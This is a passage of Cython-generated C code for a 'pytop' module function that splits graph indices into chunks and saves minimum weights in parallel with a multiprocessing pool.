__Pyx_PyInt_From_int(__pyx_cur_scope->__pyx_outer_scope->__pyx_v_n_graphs); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 121, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = PyList_New(1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 121, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_5); PyList_SET_ITEM(__pyx_t_6, 0, __pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = PyList_New(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 121, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_INCREF(__pyx_cur_scope->__pyx_v_idxs); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_idxs); PyList_SET_ITEM(__pyx_t_5, 0, __pyx_cur_scope->__pyx_v_idxs); __Pyx_GIVEREF(__pyx_t_6); PyList_SET_ITEM(__pyx_t_5, 1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_9))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } __pyx_t_3 = (__pyx_t_6) ? __Pyx_PyObject_Call2Args(__pyx_t_9, __pyx_t_6, __pyx_t_5) : __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_5); __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 121, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_idxs); __Pyx_DECREF_SET(__pyx_cur_scope->__pyx_v_idxs, __pyx_t_3); __Pyx_GIVEREF(__pyx_t_3); __pyx_t_3 = 0; /* "pytop/cutils/min_weights.pyx":122 * idxs = np.arange(0, n_graphs, chunk_size) * idxs = np.concatenate([idxs, [n_graphs]]) * for i in range(1, len(idxs)): # <<<<<<<<<<<<<< * yield range(idxs[i - 1], idxs[i]) * */ __pyx_t_10 = PyObject_Length(__pyx_cur_scope->__pyx_v_idxs); if (unlikely(__pyx_t_10 == ((Py_ssize_t)-1))) __PYX_ERR(0, 122, __pyx_L1_error) __pyx_t_3 = PyInt_FromSsize_t(__pyx_t_10); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 122, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_9 = PyTuple_New(2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 122, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_INCREF(__pyx_int_1); __Pyx_GIVEREF(__pyx_int_1); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_int_1); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_9, 1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_builtin_range, __pyx_t_9, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 122, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; if (likely(PyList_CheckExact(__pyx_t_3)) || PyTuple_CheckExact(__pyx_t_3)) { __pyx_t_9 = __pyx_t_3; __Pyx_INCREF(__pyx_t_9); __pyx_t_10 = 0; __pyx_t_11 = NULL; } else { __pyx_t_10 = -1; __pyx_t_9 = PyObject_GetIter(__pyx_t_3); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 122, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_11 = Py_TYPE(__pyx_t_9)->tp_iternext; if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 122, __pyx_L1_error) } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; for (;;) { if (likely(!__pyx_t_11)) { if (likely(PyList_CheckExact(__pyx_t_9))) { if (__pyx_t_10 >= PyList_GET_SIZE(__pyx_t_9)) break; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS __pyx_t_3 = PyList_GET_ITEM(__pyx_t_9, __pyx_t_10); __Pyx_INCREF(__pyx_t_3); __pyx_t_10++; if (unlikely(0 < 0)) __PYX_ERR(0, 122, __pyx_L1_error) #else __pyx_t_3 = PySequence_ITEM(__pyx_t_9, __pyx_t_10); __pyx_t_10++; if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 122, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); #endif } else { if (__pyx_t_10 >= PyTuple_GET_SIZE(__pyx_t_9)) break; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS __pyx_t_3 = PyTuple_GET_ITEM(__pyx_t_9, __pyx_t_10); __Pyx_INCREF(__pyx_t_3); __pyx_t_10++; if (unlikely(0 < 0)) __PYX_ERR(0, 122, __pyx_L1_error) #else __pyx_t_3 = PySequence_ITEM(__pyx_t_9, __pyx_t_10); __pyx_t_10++; if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 122, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); #endif } } else { __pyx_t_3 = __pyx_t_11(__pyx_t_9); if (unlikely(!__pyx_t_3)) { PyObject* exc_type = PyErr_Occurred(); if (exc_type) { if (likely(__Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) PyErr_Clear(); else __PYX_ERR(0, 122, __pyx_L1_error) } break; } __Pyx_GOTREF(__pyx_t_3); } __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_i); __Pyx_XDECREF_SET(__pyx_cur_scope->__pyx_v_i, __pyx_t_3); __Pyx_GIVEREF(__pyx_t_3); __pyx_t_3 = 0; /* "pytop/cutils/min_weights.pyx":123 * idxs = np.concatenate([idxs, [n_graphs]]) * for i in range(1, len(idxs)): * yield range(idxs[i - 1], idxs[i]) # <<<<<<<<<<<<<< * * os.makedirs(save_path, exist_ok=True) */ __pyx_t_3 = __Pyx_PyInt_SubtractObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 123, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_5 = __Pyx_PyObject_GetItem(__pyx_cur_scope->__pyx_v_idxs, __pyx_t_3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 123, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetItem(__pyx_cur_scope->__pyx_v_idxs, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 123, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = PyTuple_New(2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 123, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_5); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_6, 1, __pyx_t_3); __pyx_t_5 = 0; __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_builtin_range, __pyx_t_6, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 123, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_r = __pyx_t_3; __pyx_t_3 = 0; __Pyx_XGIVEREF(__pyx_t_9); __pyx_cur_scope->__pyx_t_0 = __pyx_t_9; __pyx_cur_scope->__pyx_t_1 = __pyx_t_10; __pyx_cur_scope->__pyx_t_2 = __pyx_t_11; __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); __Pyx_Coroutine_ResetAndClearException(__pyx_generator); /* return from generator, yielding value */ __pyx_generator->resume_label = 1; return __pyx_r; __pyx_L7_resume_from_yield:; __pyx_t_9 = __pyx_cur_scope->__pyx_t_0; __pyx_cur_scope->__pyx_t_0 = 0; __Pyx_XGOTREF(__pyx_t_9); __pyx_t_10 = __pyx_cur_scope->__pyx_t_1; __pyx_t_11 = __pyx_cur_scope->__pyx_t_2; if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 123, __pyx_L1_error) /* "pytop/cutils/min_weights.pyx":122 * idxs = np.arange(0, n_graphs, chunk_size) * idxs = np.concatenate([idxs, [n_graphs]]) * for i in range(1, len(idxs)): # <<<<<<<<<<<<<< * yield range(idxs[i - 1], idxs[i]) * */ } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); /* "pytop/cutils/min_weights.pyx":116 * * def add_min_weights_to_data(str source_path, str save_path, int n_graphs, int n_threads): * def slice_gen(): # <<<<<<<<<<<<<< * chunk_size = n_graphs // (n_threads * 4) * if chunk_size == 0: */ /* function exit code */ PyErr_SetNone(PyExc_StopIteration); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_3); __Pyx_XDECREF(__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __Pyx_XDECREF(__pyx_t_6); __Pyx_XDECREF(__pyx_t_7); __Pyx_XDECREF(__pyx_t_9); __Pyx_AddTraceback("slice_gen", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_L0:; __Pyx_XDECREF(__pyx_r); __pyx_r = 0; #if !CYTHON_USE_EXC_INFO_STACK __Pyx_Coroutine_ResetAndClearException(__pyx_generator); #endif __pyx_generator->resume_label = -1; __Pyx_Coroutine_clear((PyObject*)__pyx_generator); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "pytop/cutils/min_weights.pyx":115 * * * def add_min_weights_to_data(str source_path, str save_path, int n_graphs, int n_threads): # <<<<<<<<<<<<<< * def slice_gen(): * chunk_size = n_graphs // (n_threads * 4) */ static PyObject *__pyx_pf_5pytop_6cutils_11min_weights_4add_min_weights_to_data(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_source_path, PyObject *__pyx_v_save_path, int __pyx_v_n_graphs, int __pyx_v_n_threads) { struct __pyx_obj_5pytop_6cutils_11min_weights___pyx_scope_struct__add_min_weights_to_data *__pyx_cur_scope; PyObject *__pyx_v_slice_gen = 0; PyObject *__pyx_gb_5pytop_6cutils_11min_weights_23add_min_weights_to_data_2generator = 0; PyObject *__pyx_v_slicer = NULL; PyObject *__pyx_v_parser = NULL; PyObject *__pyx_v_pool = NULL; CYTHON_UNUSED PyObject *__pyx_v__ = NULL; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; PyObject *__pyx_t_4 = NULL; int __pyx_t_5; PyObject *__pyx_t_6 = NULL; PyObject *__pyx_t_7 = NULL; PyObject *__pyx_t_8 = NULL; PyObject *__pyx_t_9 = NULL; PyObject *__pyx_t_10 = NULL; Py_ssize_t __pyx_t_11; PyObject *(*__pyx_t_12)(PyObject *); PyObject *__pyx_t_13 = NULL; int __pyx_t_14; int __pyx_t_15; int __pyx_lineno = 0; const char *__pyx_filename = NULL; int __pyx_clineno = 0; __Pyx_RefNannySetupContext("add_min_weights_to_data", 0); __pyx_cur_scope = (struct __pyx_obj_5pytop_6cutils_11min_weights___pyx_scope_struct__add_min_weights_to_data *)__pyx_tp_new_5pytop_6cutils_11min_weights___pyx_scope_struct__add_min_weights_to_data(__pyx_ptype_5pytop_6cutils_11min_weights___pyx_scope_struct__add_min_weights_to_data, __pyx_empty_tuple, NULL); if (unlikely(!__pyx_cur_scope)) { __pyx_cur_scope = ((struct __pyx_obj_5pytop_6cutils_11min_weights___pyx_scope_struct__add_min_weights_to_data *)Py_None); __Pyx_INCREF(Py_None); __PYX_ERR(0, 115, __pyx_L1_error) } else { __Pyx_GOTREF(__pyx_cur_scope); } __pyx_cur_scope->__pyx_v_n_graphs = __pyx_v_n_graphs; __pyx_cur_scope->__pyx_v_n_threads = __pyx_v_n_threads; /* "pytop/cutils/min_weights.pyx":116 * * def add_min_weights_to_data(str source_path, str save_path, int n_graphs, int n_threads): * def slice_gen(): # <<<<<<<<<<<<<< * chunk_size = n_graphs // (n_threads * 4) * if chunk_size == 0: */ __pyx_t_1 = __Pyx_CyFunction_New(&__pyx_mdef_5pytop_6cutils_11min_weights_23add_min_weights_to_data_1slice_gen, 0, __pyx_n_s_add_min_weights_to_data_locals_s, ((PyObject*)__pyx_cur_scope), __pyx_n_s_pytop_cutils_min_weights, __pyx_d, ((PyObject *)__pyx_codeobj__4)); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 116, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_v_slice_gen = __pyx_t_1; __pyx_t_1 = 0; /* "pytop/cutils/min_weights.pyx":125 * yield range(idxs[i - 1], idxs[i]) * * os.makedirs(save_path, exist_ok=True) # <<<<<<<<<<<<<< * slicer = slice_gen() * parser = Processor(source_path, save_path, n_threads) */ __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_os); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 125, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_makedirs); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 125, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = PyTuple_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 125, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_INCREF(__pyx_v_save_path); __Pyx_GIVEREF(__pyx_v_save_path); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_v_save_path); __pyx_t_3 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 125, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_exist_ok, Py_True) < 0) __PYX_ERR(0, 125, __pyx_L1_error) __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_1, __pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 125, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "pytop/cutils/min_weights.pyx":126 * * os.makedirs(save_path, exist_ok=True) * slicer = slice_gen() # <<<<<<<<<<<<<< * parser = Processor(source_path, save_path, n_threads) * with Pool(n_threads) as pool: */ __pyx_t_4 = __pyx_pf_5pytop_6cutils_11min_weights_23add_min_weights_to_data_slice_gen(__pyx_v_slice_gen); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 126, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_v_slicer = __pyx_t_4; __pyx_t_4 = 0; /* "pytop/cutils/min_weights.pyx":127 * os.makedirs(save_path, exist_ok=True) * slicer = slice_gen() * parser = Processor(source_path, save_path, n_threads) # <<<<<<<<<<<<<< * with Pool(n_threads) as pool: * for _ in pool.imap_unordered(parser.save_weights, slicer): */ __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_Processor); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 127, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyInt_From_int(__pyx_cur_scope->__pyx_v_n_threads); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 127, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = NULL; __pyx_t_5 = 0; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_3))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); __pyx_t_5 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[4] = {__pyx_t_2, __pyx_v_source_path, __pyx_v_save_path, __pyx_t_1}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_5, 3+__pyx_t_5); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 127, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[4] = {__pyx_t_2, __pyx_v_source_path, __pyx_v_save_path, __pyx_t_1}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_5, 3+__pyx_t_5); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 127, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_6 = PyTuple_New(3+__pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 127, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); if (__pyx_t_2) { __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_2); __pyx_t_2 = NULL; } __Pyx_INCREF(__pyx_v_source_path); __Pyx_GIVEREF(__pyx_v_source_path); PyTuple_SET_ITEM(__pyx_t_6, 0+__pyx_t_5, __pyx_v_source_path); __Pyx_INCREF(__pyx_v_save_path); __Pyx_GIVEREF(__pyx_v_save_path); PyTuple_SET_ITEM(__pyx_t_6, 1+__pyx_t_5, __pyx_v_save_path); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_6, 2+__pyx_t_5, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_6, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 127, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_v_parser = __pyx_t_4; __pyx_t_4 = 0; /* "pytop/cutils/min_weights.pyx":128 * slicer = slice_gen() * parser = Processor(source_path, save_path, n_threads) * with Pool(n_threads) as pool: # <<<<<<<<<<<<<< * for _ in pool.imap_unordered(parser.save_weights, slicer): * continue */ /*with:*/ { __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_Pool); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 128, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyInt_From_int(__pyx_cur_scope->__pyx_v_n_threads); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 128, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_3))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } __pyx_t_4 = (__pyx_t_1) ? __Pyx_PyObject_Call2Args(__pyx_t_3, __pyx_t_1, __pyx_t_6) : __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_6); __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 128, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_7 = __Pyx_PyObject_LookupSpecial(__pyx_t_4, __pyx_n_s_exit); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 128, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_LookupSpecial(__pyx_t_4, __pyx_n_s_enter); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 128, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } __pyx_t_3 = (__pyx_t_1) ? __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_1) : __Pyx_PyObject_CallNoArg(__pyx_t_6); __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 128, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __pyx_t_3; __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /*try:*/ { { __Pyx_PyThreadState_declare __Pyx_PyThreadState_assign __Pyx_ExceptionSave(&__pyx_t_8, &__pyx_t_9, &__pyx_t_10); __Pyx_XGOTREF(__pyx_t_8); __Pyx_XGOTREF(__pyx_t_9); __Pyx_XGOTREF(__pyx_t_10); /*try:*/ { __pyx_v_pool = __pyx_t_6; __pyx_t_6 = 0; /* "pytop/cutils/min_weights.pyx":129 * parser = Processor(source_path, save_path, n_threads) * with Pool(n_threads) as pool: * for _ in pool.imap_unordered(parser.save_weights, slicer): # <<<<<<<<<<<<<< * continue */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_pool, __pyx_n_s_imap_unordered); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 129, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_parser, __pyx_n_s_save_weights); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 129, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = NULL; __pyx_t_5 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); __pyx_t_5 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[3] = {__pyx_t_1, __pyx_t_3, __pyx_v_slicer}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-__pyx_t_5, 2+__pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 129, __pyx_L7_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[3] = {__pyx_t_1, __pyx_t_3, __pyx_v_slicer}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-__pyx_t_5, 2+__pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 129, __pyx_L7_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_2 = PyTuple_New(2+__pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 129, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_2); if (__pyx_t_1) { __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_1); __pyx_t_1 = NULL; } __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_2, 0+__pyx_t_5, __pyx_t_3); __Pyx_INCREF(__pyx_v_slicer); __Pyx_GIVEREF(__pyx_v_slicer); PyTuple_SET_ITEM(__pyx_t_2, 1+__pyx_t_5, __pyx_v_slicer); __pyx_t_3 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_2, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 129, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (likely(PyList_CheckExact(__pyx_t_6)) || PyTuple_CheckExact(__pyx_t_6)) { __pyx_t_4 = __pyx_t_6; __Pyx_INCREF(__pyx_t_4); __pyx_t_11 = 0; __pyx_t_12 = NULL; } else { __pyx_t_11 = -1; __pyx_t_4 = PyObject_GetIter(__pyx_t_6); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 129, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_12 = Py_TYPE(__pyx_t_4)->tp_iternext; if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 129, __pyx_L7_error) } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; for (;;) { if (likely(!__pyx_t_12)) { if (likely(PyList_CheckExact(__pyx_t_4))) { if (__pyx_t_11 >= PyList_GET_SIZE(__pyx_t_4)) break; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS __pyx_t_6 = PyList_GET_ITEM(__pyx_t_4, __pyx_t_11); __Pyx_INCREF(__pyx_t_6); __pyx_t_11++; if (unlikely(0 < 0)) __PYX_ERR(0, 129, __pyx_L7_error) #else __pyx_t_6 = PySequence_ITEM(__pyx_t_4, __pyx_t_11); __pyx_t_11++; if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 129, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_6); #endif } else { if (__pyx_t_11 >= PyTuple_GET_SIZE(__pyx_t_4)) break; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS __pyx_t_6 = PyTuple_GET_ITEM(__pyx_t_4, __pyx_t_11); __Pyx_INCREF(__pyx_t_6); __pyx_t_11++; if (unlikely(0 < 0)) __PYX_ERR(0, 129, __pyx_L7_error) #else __pyx_t_6 = PySequence_ITEM(__pyx_t_4, __pyx_t_11); __pyx_t_11++; if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 129, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_6); #endif } } else { __pyx_t_6 = __pyx_t_12(__pyx_t_4); if (unlikely(!__pyx_t_6)) { PyObject* exc_type = PyErr_Occurred(); if (exc_type) { if (likely(__Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) PyErr_Clear(); else __PYX_ERR(0, 129, __pyx_L7_error) } break; } __Pyx_GOTREF(__pyx_t_6); } __Pyx_XDECREF_SET(__pyx_v__, __pyx_t_6); __pyx_t_6 = 0; /* "pytop/cutils/min_weights.pyx":130 * with Pool(n_threads) as pool: * for _ in pool.imap_unordered(parser.save_weights, slicer): * continue # <<<<<<<<<<<<<< */ goto __pyx_L13_continue; /* "pytop/cutils/min_weights.pyx":129 * parser = Processor(source_path, save_path, n_threads) * with Pool(n_threads) as pool: * for _ in pool.imap_unordered(parser.save_weights, slicer): # <<<<<<<<<<<<<< * continue */ __pyx_L13_continue:; } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "pytop/cutils/min_weights.pyx":128 * slicer = slice_gen() * parser = Processor(source_path, save_path, n_threads) * with Pool(n_threads) as pool: # <<<<<<<<<<<<<< * for _ in pool.imap_unordered(parser.save_weights, slicer): * continue */ } __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; goto __pyx_L12_try_end; __pyx_L7_error:; __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_XDECREF(__pyx_t_6); 